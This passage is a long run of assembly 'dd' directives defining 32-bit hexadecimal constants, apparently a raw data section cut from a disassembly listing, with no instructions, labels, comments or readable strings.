		dd 0AD60C78Bh, 0C5FDF000h, 0B2432321h, 69200055h, 0BF1FEE5Fh
		dd 81642ABh, 24C07254h,	15CCDA0h, 0F27E2982h, 0E0B86AF8h
		dd 2025567h, 0FE81934Dh, 0F6E4A083h, 16250586h,	0F07F8Eh
		dd 7E31982Fh, 0C700271Bh, 0A6B89613h, 76C1CD50h, 0AC5B0059h
		dd 3D42BF44h, 41E4E556h, 2B30DA75h, 580ED080h, 29B004Eh
		dd 0DF1551EEh, 437ECA32h, 0FAC31C1Fh, 8F42A240h, 0D8380Eh
		dd 0BB2D3C85h, 0D9886658h, 0D701DCF4h, 0E56567C5h, 74EC9E1Eh
		dd 699400F2h, 0FB7EE35Ch, 160052EEh, 0C4BAE092h, 0B4B30E5h
		dd 530374A7h, 50AA60C1h, 0D2390B34h, 0FFC41F0Ah, 0FB008054h
		dd 0DD7935E9h, 9C2700D3h, 2FBB663Bh, 4B09F7B0h,	2044E4C1h
		dd 5862C000h, 0BC23008Dh, 0BEFCE6B1h, 355810E0h, 0E9510030h
		dd 7DE5EA22h, 767B0098h, 73B4B769h, 20004DA9h, 3A772A2Eh
		dd 1EA1121Ch, 28087293h, 5A3510D4h, 5C90003Bh, 0D430D17Ch
		dd 5FBD00CFh, 0A161C9D5h, 0B9E78764h, 0D8060089h, 16A86BD3h
		dd 19EF6039h, 7682B815h, 578D970Eh, 2171A4AEh, 0D1061080h
		dd 0DE4C0A4Dh, 3F6E391h, 651878CEh, 3DAE0DF8h, 740AF476h
		dd 0DC4F90F1h, 0E0F2A800h, 3DF887D0h, 29065507h, 21730F92h
		dd 210C63Eh, 0F2FA5453h, 30444Dh, 0C68E6F3h, 43C7D188h
		dd 2C3B49h, 848B35FFh, 716D5140h, 0F827BF13h, 0A3604007h
		dd 0FB009BF4h, 70F54F9Eh, 6CCF36EDh, 340064Bh, 893B4D00h
		dd 1951F1FEh, 0A6DE0C95h, 36E0EF40h, 0F2520100h, 84E4623Eh
		dd 49D644D1h, 80AC0B01h, 647DAD30h, 0CBD2D8h, 9DB5CC59h
		dd 0B8DEA6DDh, 706DC201h, 661F62E6h, 85641A00h,	0B90086E0h
		dd 9C538F0Bh, 0F6F4094h, 3CBFA49Ah, 36C173E0h, 4D042D29h
		dd 7F27421Fh, 0A0DD0683h, 11F0FCh, 58774F1Ah, 0DF162249h
		dd 15750813h, 8139B509h, 0EFCBDCBBh, 38BB13D9h,	8B386D00h
		dd 1D21DF23h, 74FFE518h, 0B8AD330h, 0B20509BBh,	24DE3E80h
		dd 0B1040E20h, 0A066CE7Bh, 11F8A0C0h, 0EBF203F7h, 7AD5AC79h
		dd 0C435CBC9h, 5C12D995h, 788024E8h, 3E2DBB43h,	7A00DD8Fh
		dd 59ED10BCh, 2707B207h, 34F75F4Ah, 50AC5E10h, 0D3BE0073h
		dd 20758754h, 0C50025DCh, 0AFB79311h, 6D70FCh, 7D5CE93Eh
		dd 5E87426h, 0D308B500h, 9410C424h, 87E00760h, 7F464D52h
		dd 7AD0E9A0h, 0B0002231h, 0C4A3AF49h, 3E1448F2h, 823FA02Eh
		dd 6F873D8Bh, 60CCEE02h, 20CE1448h, 8C28EF28h, 32FCE150h
		dd 5409967Fh, 31869EDh,	90226B14h, 42BB661h, 93F0211Eh
		dd 0CD74C02Fh, 5B09B9CBh, 0D7512Eh, 49FCAD98h, 892200BEh
		dd 0D3F9A7DEh, 1404E79Dh, 0F7AC07BBh, 0F20310D1h, 0C0C887F0h
		dd 0EC28989h, 0AA00B492h, 3394955h, 208E95h, 57EBAE1Dh
		dd 0AD6499F7h, 0D4E5F1C1h, 1EE1237Eh, 642054D5h, 0E6040090h
		dd 0F0EE79CDh, 0B0180BB7h, 4820200Eh, 6E2D3DE1h, 0DE30E97Eh
		dd 83B93F08h, 62F8AE0Eh, 0B62809B6h, 4B1D5D80h,	0A7ADD14h
		dd 6C001490h, 24788037h, 46DD493h, 0D55330BBh, 2F308075h
		dd 0A40046D2h, 0E362BE13h, 5CA9BDh, 0AF4BB017h,	0C7E598F8h
		dd 71238A06h, 0F21AE15h, 19416D4Ch, 51C0118Fh, 0D2B0339Ah
		dd 0FB70A203h, 0A0A7B167h, 16FFE9B3h, 21D19620h, 80AA2830h
		dd 0C2D31440h, 7AA4C1EBh, 4398006Fh, 0E2CFDBB8h, 350044E0h
		dd 20AEACD8h, 11E29ECh,	197182E6h, 0CDBEF4BAh, 0A451FC52h
		dd 3BD63C01h, 3D44C82Fh, 90F39EECh, 175300B4h, 4ED232E1h
		dd 7A3FE5A0h, 1F989272h, 0B6064800h, 0F7C209h, 501B25CDh
		dd 0CE6C2966h, 6812C62Ch, 7004C2Ch, 3079E949h, 4AAF0021h
		dd 759A01AEh, 0A02C9398h, 0FB80A4DCh, 56C1FFFCh, 51B901BEh
		dd 0E34B50ADh, 76DEC81Fh
		dd 73788D02h, 610C090Bh, 9BC85D6Ch, 31CE0233h, 0C83CC42Ch
		dd 5EB31CE0h, 0A50F593Ah, 0A4F8E827h, 8DFD3AACh, 0FE28833Eh
		dd 8B9E010Ch, 0C437C1DEh, 0D147C935h, 21FCD82Ah, 0A4C09B4Ah
		dd 3F04BDD9h, 0FAF960A5h, 36F7D62h, 193E445Dh, 64805ACCh
		dd 9900ADFEh, 0FA3185ECh, 0E87AB4Fh, 0BF8F9CB6h, 0DB2998A0h
		dd 0F4317A37h, 9E214064h, 0A4913040h, 0F32A188Fh, 901C9923h
		dd 98736338h, 0FE30D8FFh, 0A1FEC5Ch, 785F0E9Fh,	8C234020h
		dd 3A3DD597h, 11488179h, 7C924649h, 0E825CCh, 60E3B042h
		dd 0AF26B2F3h, 65001EF0h, 0DFAD1BD9h, 9994Fh, 8B86DEE2h
		dd 0D8A70CD3h, 64F2D407h, 7767CB96h, 6CE91A30h,	57E20026h
		dd 4EB48962h, 3A007458h, 9E75866Eh, 19B62Eh, 4D65D39Ah
		dd 485C24E1h, 0A77D4200h, 75593D58h, 4A34005Fh,	27DED656h
		dd 0D0E0195h, 0A4657DDBh, 7783B379h, 0DF90AF5Ch, 1CAB47D2h
		dd 4498592Fh, 805A4C34h, 4B63154Dh, 62820F00h, 91FD6F21h
		dd 6AE2B3h, 7CB4307Bh, 46FA1DA6h, 0A6806828h, 0C8043D12h
		dd 43EF487h, 1CB2597Ah,	845F04B8h, 0C1F3640Eh, 32DB43F0h
		dd 4C931E4h, 0B820CD45h, 0A2928152h, 0BFF5C85Ah, 6F715705h
		dd 0EC90E93Ch, 8D4AD6h,	0B535C114h, 5E6AAAFEh, 76482678h
		dd 30B60FD4h, 0C03CE032h, 447D5B4h, 0CB28612Eh,	931CA0D6h
		dd 0F74DEE01h, 0E64EA23Fh, 17F5FD20h, 14119A6h,	76F7B68h
		dd 0FE2AC804h, 53ECDC41h, 9BFB0E59h, 51A0083Eh,	0E343FF9Eh
		dd 49A53000h, 0E291C772h, 7994007Ah, 0F020C74h,	0B200240Ah
		dd 30330D64h, 5FF704h, 6AE2EF1Bh, 0A46E55B1h, 8C0EEC98h
		dd 8F991D7Ah, 652E80B6h, 0F54A3Fh, 0DE0C6CE8h, 12875D1h
		dd 7926B0F6h, 4801BDE7h, 188F8109h, 7D66F02Fh, 0BB222000h
		dd 4DEDC090h, 9BDC006Eh, 91157755h, 940241CAh, 7D0285E5h
		dd 0BD2CE075h, 82F0E9F3h, 2284B8F6h, 0D3546ED1h, 5402BBA0h
		dd 0BEF609A1h, 0B2D88028h, 562194Eh, 9A77A502h,	79F8D08Ch
		dd 0CE903A08h, 547C0F75h, 0E780F894h, 30D3825Bh, 0BD1D00D4h
		dd 0E35D8F09h, 3D25497Eh, 673020D5h, 757DD7E4h,	2AF3072Ch
		dd 0E0E682AAh, 69531E28h, 0D50071F8h, 0BF7B19CDh, 5C12B7h
		dd 7275277Ch, 0A9CB47F4h, 5DB35203h, 0D076CDDAh, 58E05C68h
		dd 0E500F87Fh, 77DFE420h, 6B007895h, 0FE0B8ED3h, 0DB2347h
		dd 143EA710h, 9E5AA108h, 0D3C9EF00h, 0F649627Eh, 336C0069h
		dd 0C3F8F581h, 0DD1EEA6Dh, 0CF400565h, 41D3F3A9h, 74A70B31h
		dd 0C44AFBF2h, 0EDD51680h, 0E503A4C3h, 2E33694Dh, 0C5CAF8C6h
		dd 9F6C04DEh, 80ED8DC8h, 55D99954h, 6A0E4807h, 234F34E6h
		dd 3E96DC39h, 0DA205758h, 0FAFE20h, 68060583h, 0EAF62BC7h
		dd 8D82C0F1h, 1B7ECA0h,	0C04BF800h, 0F6DF8A1Fh,	6C20FD2Ch
		dd 64F0F19Eh, 0A038902Dh, 0B16B44h, 0F34658F6h,	63073C75h
		dd 2402DF15h, 769903ECh, 7BD6B48h, 0B3EA4711h, 0A9C5A7AFh
		dd 0C67C8840h, 5DB85E01h, 499D7958h, 82CEE680h,	0BBBAB0D6h
		dd 9BD1F700h, 9CC17A87h, 92D8126Fh, 8B14081Ah, 7F5BE640h
		dd 0D62A01D4h, 8D0BBF1Fh, 1FB423B1h, 7640702Fh,	0E28BDA24h
		dd 44400006h, 2EE5AF91h, 0F4F6990Ah, 0F01C5C03h, 0E0701B42h
		dd 0B89E6208h, 45A30038h, 0D89AB5C2h, 403404Dh,	1F29E064h
		dd 9A2B8CCh, 0C7D3055Eh, 0C7FF588Fh, 3BEAD060h,	11C0E203h
		dd 27D9A7F1h, 1A2501E3h, 7E5B4CB3h, 5A6181AAh, 0B0C2C6FDh
		dd 222FD4h, 0B4C14529h,	0A753D79Bh, 370C8107h, 8718F32Bh
		dd 0A09F4E83h, 978936D3h, 8980923Dh, 5E78FEE1h,	9B8100F8h
		dd 313EC8B2h, 2A581217h, 3C0481Eh, 23AEBA14h, 97ED00C6h
		dd 8A3D9D54h, 0A230DA0Bh, 0FD322144h, 8B3E0046h, 1CD0300Eh
		dd 620CC280h, 9EB7C610h, 0A5970044h, 0E1B98483h, 0D49AA10Ch
		dd 0B59B8F01h, 0A8603DC7h, 5C005028h, 0F252F0A9h, 0C0039294h
		dd 9C83E6D7h, 3C1990FAh, 28BD64ECh, 67E890D0h, 640069A6h
		dd 8AE12EA0h, 29ACB1h, 7AC46072h, 61A758EBh, 0AA1D5509h
		dd 0CD2C801Eh, 10BA442h, 35A62A60h, 2EDA7852h, 1DFCC080h
		dd 0AA0E0096h, 934ACE92h, 980082B4h, 0A402E41Ch, 274B244h
		dd 2B7E883Fh, 6468B814h, 0E4BA2116h, 6A760FDh, 2B18CF19h
		dd 0A5F05E70h, 67B800B9h, 4F853087h, 0DC018E98h, 0D3BC507Fh
		dd 0E6E4AA54h, 0F5F4A05Ah, 0CACE8834h, 619C6200h, 4BC64CB4h
		dd 0D40E1446h, 0FF0BEC57h, 8EFFA7B5h, 0CF5300B1h, 9A37B3h
		dd 0BED086F3h, 0BF52D660h, 9472012Eh, 8D3A6700h, 7B389084h
		dd 0CA5609BAh, 0B403960Eh, 0DDDBEBFDh, 5CA96CF8h, 0B9647600h
		dd 4723212Eh, 340C1319h, 36C8D0D9h, 0A601CF59h,	0D8353C0Ah
		dd 0CC349DA2h, 0F09B03C2h, 0CF15964h, 7C0941A8h, 0C9C08F00h
		dd 52BAC5FBh, 4F5402B1h, 0BEBBE83Dh, 9E088051h,	0A3D80E77h
		dd 35D036C0h, 0DA7F2088h, 3AB41A38h, 0D7DD80A5h, 74CADC54h
		dd 88890019h, 84AA8EC2h, 0B900390Fh, 0C323AF02h, 0E996C96h
		dd 0A1258294h, 2BB5BA80h, 0EE00201Eh, 0DB3898ADh, 96F6A4h
		dd 58909C27h, 0F403238Fh, 4B2E800h, 8794A8DFh, 7CA900CCh
		dd 6691D46Fh, 7B16FE59h, 4B460F8h, 1FFC7807h, 119F231h
		dd 0C2AD02BAh, 0BA9828C4h, 768F2D02h, 7C519D21h, 57200610h
		dd 4661417Dh, 0C41FC318h, 0CF3756E0h, 2C004F11h, 5DDFD4F6h
		dd 839C7C07h, 1290A8BCh, 0C023269Bh, 3522DC58h,	730C8DE1h
		dd 38C62DFBh, 40FF4A5Ah, 90C83C8h, 290B1B3Bh, 72D65EF6h
		dd 0CCA10450h, 0A0FB1EC4h, 6224F1A0h, 0E8255A1Ch, 4FC5C24h
		dd 5EE6271Fh, 7394A077h, 42340h, 1A36CB81h, 147C5015h
		dd 0DC825A2Ch, 4386F500h, 1D793E65h, 89CFD3B0h,	0E002210h
		dd 0F268FB3Ah, 0C44C9507h, 0B0E0B28Eh, 981E8F0Eh, 275600FBh
		dd 2E80D1F5h, 0B109F8A7h, 802B5F87h, 69D9896Ch,	252D7944h
		dd 0A4722E9Ch, 7AFD7F03h, 0E6886Bh, 0A28F64B9h,	45A9A452h
		dd 0A8C6F001h, 0C4355B92h, 18A8B444h, 0E8CF4BCh, 0EA3BBCFEh
		dd 342704C0h, 414461AFh, 0E9B82F45h, 0C595C4ECh, 61536478h
		dd 37C4F041h, 4CE1581h,	4F00D4AEh, 0E1CCE013h, 7E007DBBh
		dd 4DF46CB6h, 0B5A5D2CEh, 0FA813C37h, 0D3B957ECh, 0A914A840h
		dd 0E0009575h, 9E4899B5h, 0EDDF602Fh, 0B6FBC3D0h, 0ACD2E9B8h
		dd 64F07F2Fh, 58F58C8h,	0CF554E00h, 87973133h, 3A0F27F2h
		dd 9D601452h, 5EDE2AC7h, 4BB55733h, 82389BE0h, 0C296D1C0h
		dd 863C7E89h, 1134972Bh, 81B0390Ah, 4D27D8F7h, 1A24C008h
		dd 4500602Ch, 0A85E0A65h, 9510402Dh, 18EAB420h,	0EC5239F4h
		dd 30B7E260h, 7758E29Ah, 0C7551278h, 255CA8E0h,	70E030F8h
		dd 5E27AF1Ch, 0A3D869B0h, 99063041h, 5A0A8F70h,	0C8B88BDCh
		dd 149FC04Fh, 209525A4h, 0D19B2974h, 13651D52h,	9D0E87Ch
		dd 47572DA4h, 42580DAh,	0D9F471BEh, 0CC1837h, 838A422Fh
		dd 9255ABA9h, 0E0412A79h, 0D070C12Eh, 0FC0401A5h, 0B588F424h
		dd 0BC36F8A0h, 684C8408h, 0A89B4A34h, 0BF136080h, 39004B76h
		dd 979CB877h, 4641240h,	28D80CD6h, 25A801A9h, 6200F751h
		dd 0CA63D0C8h, 0D85FAB18h, 30B6997h, 66D8B2Ah, 0D1B03565h
		dd 1D60C7E8h, 34017BF1h, 8BAB4B93h, 0C0BCC854h,	89A1E7A4h
		dd 0E3AB4700h, 76D173C1h, 6C444878h, 0D61A9E05h, 0D6ACE9D9h
		dd 38432B00h, 126F79Ah,	0B00E6E8Ch, 7B7A1398h, 0C403F062h
		dd 0ACEC0310h, 0ED34C962h
		dd 0E8897BF8h, 54F259C0h, 0C6AF42h, 76FBCF7Dh, 0DAAD9D72h
		dd 0BCC8775Eh, 4FA400E0h, 3BF03187h, 0DA03190Bh, 3501A184h
		dd 819E5B3Ah, 80EB8910h, 0CEB6E059h, 980DE0Bh, 0CB9D311Eh
		dd 6DDF1980h, 0C81E5CE7h, 0D6429CA1h, 0DE9F853Ch, 0F5465EE0h
		dd 400E004Ch, 6407741h,	4916258h, 0CF561A0Bh, 0D994D153h
		dd 7818F5h, 2AECC0Dh, 5D42B377h, 0E6BC4000h, 0B03A1014h
		dd 0C1ED5ABDh, 33BF314h, 82F0B898h, 3BEA78F8h, 3AA896A3h
		dd 8B2000E4h, 0DAACBE95h, 0B1F9D7Fh, 4A84DC34h,	7C919A9Eh
		dd 0D1E0B42Bh, 5424F868h, 0A1E029h, 0F2ABE3A5h,	0F37C2128h
		dd 85F73E00h, 0D064E0DDh, 0C5B65BC0h, 8338EC74h, 152FC6E8h
		dd 0E0B00441h, 791DCA00h, 80A5AA69h, 66F5CB26h,	27E2EA01h
		dd 5AC8A661h, 903F5F02h, 5BBB3D38h, 13F3C688h, 41DD106h
		dd 957F724h, 3D770104h,	108B51DBh, 40F21464h, 44CA1C22h
		dd 2F09F6ABh, 5479A0C4h, 34FF0748h, 0A87C89C6h,	35085F41h
		dd 80109A03h, 62064B2Fh, 0E9C854D0h, 88E9237Fh,	1D69FB20h
		dd 0A91B425Ch, 0A07EA076h, 0E5A86B05h, 0DB3EE4ACh, 41ADB4D0h
		dd 80689DD9h, 56232A20h, 0A9D20E94h, 0C10CC864h, 3D1A2468h
		dd 0F6615A17h, 0C5F9140h, 0B961D8C5h, 207F1023h, 4438023Bh
		dd 1058BF25h, 1E80B494h, 0A857545Dh, 493B60C2h,	0E3C5D0C7h
		dd 59220F27h, 0F36400ACh, 7265587h, 51B80200h, 10F0CFFCh
		dd 66E8241Ah, 0A0452D94h, 426038E4h, 2A0090C4h,	0E61B446Eh
		dd 90116EDh, 0A234BFFDh, 5320F8DAh, 743A4850h, 0BD9F509h
		dd 8178C4D3h, 0D9E36388h, 25F0B6FDh, 6801BE3Dh,	0A8C46A11h
		dd 608BE2B1h, 148C92FBh, 0C0B83DB0h, 27BF441h, 172D2444h
		dd 0A1D53448h, 87D8D605h, 4C2EDB66h, 250BB923h,	789601A5h
		dd 0C8489415h, 436BF33h, 34718499h, 543FBD18h, 0D5459292h
		dd 0F0F2F016h, 73304FF2h, 1811BF75h, 934EE5AFh,	14202321h
		dd 1310C5h, 0DC9A5B2Bh,	841558DEh, 0D56CBF10h, 30BB4174h
		dd 0D6121184h, 7805B7D4h, 0B4E8CD70h, 7D8C32ECh, 17A42F1Ah
		dd 5C6928C5h, 0ECEA095Ch, 3DCFCDEh, 93A82E19h, 0D0B8AA37h
		dd 9703C25Bh, 0F85D0708h, 90E141E0h, 0CB159BE1h, 0C054C8DCh
		dd 0AC82BD5Bh, 6A2A5809h, 2CCCF295h, 60889AD9h,	32854CF4h
		dd 7C00503h, 0A08955FCh, 0C0EC8A13h, 25BB68B9h,	7200440Eh
		dd 0EA1C9694h, 3DF22Eh,	2410E0A5h, 672D7CD1h, 80684525h
		dd 29E6D680h, 53FC3D3Ah, 3B28CDDAh, 0A42F4C04h,	35997202h
		dd 7A11091h, 7410A4D8h,	0BA1D3146h, 0F85CC2C6h,	5C68BD54h
		dd 0F9655FAFh, 0C0F42349h, 2E8D00DCh, 3FD72C6Ch, 21027B53h
		dd 1B821EA9h, 238FC08h,	0B530C063h, 0C7252218h,	20CAB341h
		dd 4655188Bh, 27546C16h, 4B06B000h, 0A2A95E0h, 0E445B45Fh
		dd 1C9F08E8h, 5CFFC51Ch, 81E68834h, 0BECA1257h,	65A7C86Dh
		dd 28A2FC3Dh, 9C9688DBh, 15F818Bh, 0A7254EAEh, 8C7C036Ah
		dd 0FE846B92h, 6AC95820h, 4BD61F7Dh, 8D2ACB5Fh,	9333F880h
		dd 0BD255773h, 0A7CC709Ch, 604E442Ch, 4CA6A19Fh, 0DB4EE099h
		dd 9B9980C8h, 122F44A3h, 8073551Ch, 0F0B441D8h,	8B6C1F01h
		dd 950AAF6Dh, 5DE21F8h,	78CEA15Eh, 7F9881A8h, 70756F3Bh
		dd 0A2B8F0FDh, 228C6600h, 17C394E5h, 21246023h,	1BC4F13Dh
		dd 0D4C5C802h, 0FC89C709h, 0B080B820h, 9E0BAC67h, 9D00C061h
		dd 0E1D0FF69h, 1D36E51h, 0FB5EA07Bh, 81272439h,	0D6029B51h
		dd 75D0B4CAh, 53AB09D3h, 0CC5C2099h, 0A0BABC40h, 5B8B0BDBh
		dd 0F0097CF8h, 0E5956CFAh, 6053E478h, 2DB6E33h,	0A48493C9h
		dd 3CC8375Dh, 1C4C08C2h, 8C52F82Ch, 77784F1Eh, 4E39B97h
		dd 0F45EC90Bh, 127B4D8h, 0B7EC291Bh, 0B01280B8h, 55A61A98h
		dd 0B885305Eh, 0D9B810BDh, 0C4099779h, 44466C73h, 0D8BD0024h
		dd 5894C982h, 16004A91h, 696FE034h, 24A60B35h, 0A44C7725h
		dd 0FD07DEF4h, 3DEF62C2h, 2BB56AD0h, 822FE197h,	3360C3E4h
		dd 22696466h, 41083210h, 0B8513D54h, 7EF0F1h, 0D84CD634h
		dd 0D10C401Ah, 3833E496h, 2B8100D0h, 5E7B8BD4h,	257AE036h
		dd 0E8C6E82Fh, 0F0E2D3F8h, 18B0BB9h, 387BA570h,	7AE358h
		dd 0AC8517F8h, 3CDF3D4Ch, 6D6C4897h, 0BCAE588Ah, 28C34ECh
		dd 0A4C63C83h, 14FC263Dh, 1AF0F970h, 41A63564h,	0B5BC905Dh
		dd 0E8F17C82h, 0FBC4002Ch, 8DE2A9BBh, 0C604AC23h, 3B64FC14h
		dd 0D4B421FAh, 0E434F033h, 0C0694005h, 0DC5C6380h, 27C0FA9Fh
		dd 6B9CA132h, 0CDF85E09h, 148C3AF4h, 0B1210081h, 40304636h
		dd 0F000F3C6h, 0AAD3F63Fh, 5AD8C469h, 9F60C0DDh, 4650506Fh
		dd 0A85849D4h, 0E28986B8h, 1FCAF4E9h, 8161344Dh, 0D864BFBEh
		dd 7C007468h, 6521532Fh, 0DC14AEB0h, 39018BF6h,	3054D33Eh
		dd 0D18BA24Ah, 940BFF1Bh, 3CB2B052h, 4FF26543h,	174D3130h
		dd 0A0F755A4h, 4A279048h, 0F018A004h, 2F2C4709h, 94651DA0h
		dd 4221EC9Dh, 84F66B71h, 3BA4402Fh, 0EA8800DCh,	0DBB15F6Ah
		dd 0E9E97F3Ah, 94317B92h, 299A8AF5h, 18032162h,	49094392h
		dd 78EAA44Bh, 224E02FCh, 0FB64A106h, 354428C7h,	0B0890B60h
		dd 87F19F3Bh, 80209534h, 6EFFECC4h, 0E81C0B28h,	1E51F65Ah
		dd 0C63B41CDh, 21F9C9B8h, 88C2B08h, 252A183Dh, 0C06261BDh
		dd 2AB7B1E0h, 0D9406464h, 4A709F49h, 0B20CF3DDh, 596630BCh
		dd 0E7349400h, 0A5502A02h, 0D018B79Ch, 7F4E2DA4h, 0A8A36817h
		dd 2FB59C50h, 8062A08Dh, 55E46C67h, 7A903E60h, 1FEEED04h
		dd 9C81B8C8h, 0BA04B028h, 0DB6EE80Bh, 94A484h, 60D6D1D3h
		dd 3B4C9812h, 0B134122Ch, 99B834ADh, 6CBEA830h,	4C2845D0h
		dd 817F02Ch, 0D324A249h, 0BCAC64A8h, 4EF6008Ch,	180C031Ah
		dd 8B7B7C09h, 31387718h, 1A69060h, 0B03A397Fh, 4B0C0B45h
		dd 0C1BDC834h, 701DC876h, 0FC04F2A9h, 39CDE143h, 0C49D3483h
		dd 3C76C903h, 0C89BD92Ch, 0CE2E2811h, 4D10C00h,	772E2B80h
		dd 9A8B00C8h, 5CEC843Eh, 2FF9BCF4h, 0BC6C6301h,	46564496h
		dd 83730338h, 0A879E812h, 2DD35A2Dh, 0AE889Ah, 8C42ACE0h
		dd 4D00D73Eh, 84146773h, 351E069h, 0B51C7B9Ch, 0E04B0636h
		dd 9C1E50A5h, 30921480h, 0A70E37C3h, 89DEE9B5h,	0D2440404h
		dd 0A1629E07h, 80C06BC3h, 6506F470h, 122D7C15h,	719205Fh
		dd 8BB8C580h, 291358D8h, 9CF8F360h, 3B447A82h, 3DC44FEh
		dd 36884469h, 19099D4Ah, 468F9F1Bh, 0C8ED9D28h,	74B09F45h
		dd 0B3934EDAh, 0D9E82D64h, 979C0B3Ch, 0A281D10Fh, 2B6D8B29h
		dd 0E7140C8h, 11E1C2B0h, 0E02EF2F9h, 0A6EAF56h,	0C85B8928h
		dd 14C4950h, 544A9906h,	419531FAh, 6B5F0EC8h, 0C39C50DBh
		dd 5AB25832h, 0DAEEE6D0h, 0B715E8E2h, 8F8C7A8Ch, 0DB7BA049h
		dd 0BDD0B4EFh, 77365481h, 5AE88068h, 0CD8F9616h, 3EAC989Dh
		dd 2D4262E3h, 67CC22BFh, 6BD02018h, 0DF03525Bh,	8B38E89Eh
		dd 57D282B1h, 5EDD084h,	0A5C26501h, 0E98CF6C6h,	465EC856h
		dd 0D9120EEDh, 0E7D22BD0h, 6033647Ch, 26BBB188h, 9C6E57h
		dd 0CDDA9BB3h, 0AFE4CC36h, 7C349800h, 28F862F6h, 7668CAC5h
		dd 9064C9A4h, 0FE808707h, 81F0E262h, 0EEB42DB6h, 10784FD0h
		dd 6F1DC0D8h, 1C806744h, 0C4319AA6h, 0C2D9D02Fh, 0DC50C864h
		dd 1D30C9AFh, 64A58CEEh, 886155C4h, 4B4970AFh, 0CE3E2400h
		dd 2A13F9E8h, 30442577h, 0F745C82Eh, 0E804FC0Bh, 6E008CBDh
		dd 0C17C674Bh, 75493679h
		dd 4F8C55Ch, 8E00F8B5h,	0AF6D6901h, 94A212B4h, 7AF7517h
		dd 0C51A2E25h, 86EAB44h, 0A6A17300h, 7BFC659Eh,	0F964AF27h
		dd 79DD9840h, 9C4F0351h, 0A84C6CB3h, 28A1C010h,	5744B8ABh
		dd 80C8BC22h, 8A269E67h, 900386Bh, 17C6973h, 3EC4918Ch
		dd 96B982CFh, 0C27BE69Eh, 0F26B8B39h, 141B1461h, 16AB48E4h
		dd 0E9145F29h, 0B0CE5E74h, 71C0B888h, 5818F2F5h, 2C13C4A6h
		dd 0FC24EC35h, 61008CBAh, 0A0F8333h, 0C8ACABh, 1077BAA0h
		dd 4BC2F622h, 3C00C9DEh, 0CA154D04h, 8A19007Bh,	6DA33DA8h
		dd 8C2517B9h, 0BB58C096h, 8D5C00EEh, 9130377Bh,	0FC9E6B15h
		dd 0AA34440h, 755B077Fh, 1025851Eh, 0C66A020Ch,	54FDD82Ch
		dd 1DA86B60h, 8F2FF1F9h, 0C05588C8h, 33C2D2AFh,	1CAD123Dh
		dd 0E0A6E8C3h, 623D3E42h, 70A27D3Bh, 0F409C988h, 5471E9A0h
		dd 1518F659h, 7E94038h,	64B08BA9h, 0C9D547h, 0A636904Ch
		dd 963B2599h, 0F89658C6h, 9ED465Eh, 5AF8652Fh, 721A378Ch
		dd 0A4B9F410h, 514EEF88h, 87F394A5h, 0F4A0D64Bh, 0F3FA5800h
		dd 4B917554h, 0A2852627h, 0F1190E28h, 1CC8C789h, 3612CBDAh
		dd 54E147B7h, 3A049D3Eh, 0F1C8388Ah, 6B04D6C0h,	403B01C4h
		dd 368A13C6h, 0C1209647h, 9C97A420h, 30FE588Dh,	0F802A705h
		dd 0C421BE2Ch, 66023D27h, 0E0E4127Dh, 7BCB94h, 77E3055Eh
		dd 0E0C539F8h, 9C043BE0h, 0A569F07Ch, 46BEAh, 264F0B0Ch
		dd 0F09C7FB4h, 50A20729h, 483A3DE0h, 64B0E72Fh,	0C7B560B6h
		dd 0B8C61668h, 4AACACCDh, 76A620D8h, 41B8AA5Dh,	6C243C6Fh
		dd 0E2F24A7Bh, 0DDB00054h, 4583461Dh, 0ADEA4Ah,	95FB4B62h
		dd 0BAC02181h, 4401DB13h, 36E85CECh, 52B3008Ch,	0C0B7FF17h
		dd 330E65DDh, 56CE5F81h, 585BFC09h, 0F7FC0814h,	1428D2E0h
		dd 0C2814EEEh, 0BAA900DFh, 3B8A85F6h, 0AF49551Ch, 0ABBF12D8h
		dd 9063A809h, 20B86BF4h, 11AF29Dh, 72B4ACBEh, 0BFE82540h
		dd 0B8CE00E8h, 209C1531h, 63013B86h, 8C43E18h, 0FF4D4481h
		dd 80D0A804h, 17F2BC3Fh, 0DCC62C8Dh, 0EBDB095Ch, 2A00BC58h
		dd 12A1D45Fh, 0A2333A83h, 0A8948DC0h, 95E366E0h, 0A6001CECh
		dd 38F63171h, 28A946A7h, 1F348976h, 2584D802h, 6B25F081h
		dd 0E590153h, 27A456EEh, 94801451h, 3EC371E7h, 4DB78BEh
		dd 0AFEB76CEh, 63DCC85Ch, 805DB82Ch, 3B0E8985h,	41126800h
		dd 60A8C69Dh, 5B06F149h, 3B4FE3FEh, 5622E0A2h, 459E3206h
		dd 2906083h, 2A15C6D7h,	0D0D0CC6Fh, 1B8C50Bh, 0DAF4C105h
		dd 6CF06610h, 985EBB4Eh, 345E5BBAh, 64CF3D04h, 4170A0E4h
		dd 0BF5DF0A0h, 8C01BCB4h, 0E1ABD45Ah, 960C50BAh, 0BD704048h
		dd 449CFC13h, 0F0B888ACh, 0CE9008Ch, 8EC9EEEBh,	50C93D04h
		dd 0E4204536h, 38806535h, 0E48411B0h, 40D24B33h, 35443A6Ch
		dd 0C8C443A3h, 54AC0D04h, 2B180BF5h, 37752042h,	8CB104F0h
		dd 9C38AC21h, 94FA4000h, 49D064C9h, 7C25B0A8h, 0C384DCD1h
		dd 0CCA139B8h, 0BA9067F0h, 58379D4Ch, 9CDF7400h, 454F07Fh
		dd 0EFDAD728h, 1F00BCE4h, 0C6832B6Bh, 789AA333h, 0E984A408h
		dd 43F81089h, 3D6AC5Ch,	0BB0FFE4Bh, 7FE1EC6Fh, 1C2F3AC0h
		dd 5F00EF23h, 3DA67204h, 4A9C9A2Bh, 0DE50DC5Ch,	0D03A2389h
		dd 7DD08B38h, 2EB96600h, 0A63B72DBh, 205704E1h,	81A7657Fh
		dd 25FE770h, 9E54C491h,	54465E04h, 0F87FB900h, 0E3910AF3h
		dd 706F2912h, 0A8C78440h, 9F0C26AAh, 0BD444067h, 0DFB38065h
		dd 8F020661h, 3E227909h, 80B054C3h, 74CDF3C0h, 0DA12BA98h
		dd 7CFD1CD8h, 0CC01C4B8h, 7C34B31Dh, 102B5D6Eh,	9C4B058h
		dd 872E481Eh, 0C059D3B4h, 0F2C4DEC6h, 18CEFC00h, 0B5529973h
		dd 6D02580Bh, 2FA88A4Ah, 0E8200ADFh, 0B4E501DEh, 2132EE97h
		dd 0AC56EA30h, 0BD569AE4h, 3C1AB874h, 30BEC60Ch, 0B338581h
		dd 65C4DCC8h, 0BC5468D0h, 5C3F8CB9h, 47F9007Ah,	0F4C73FBBh
		dd 1EA17121h, 8B36C17Ch, 8882A4FCh, 2500C85Ch, 4EBEE969h
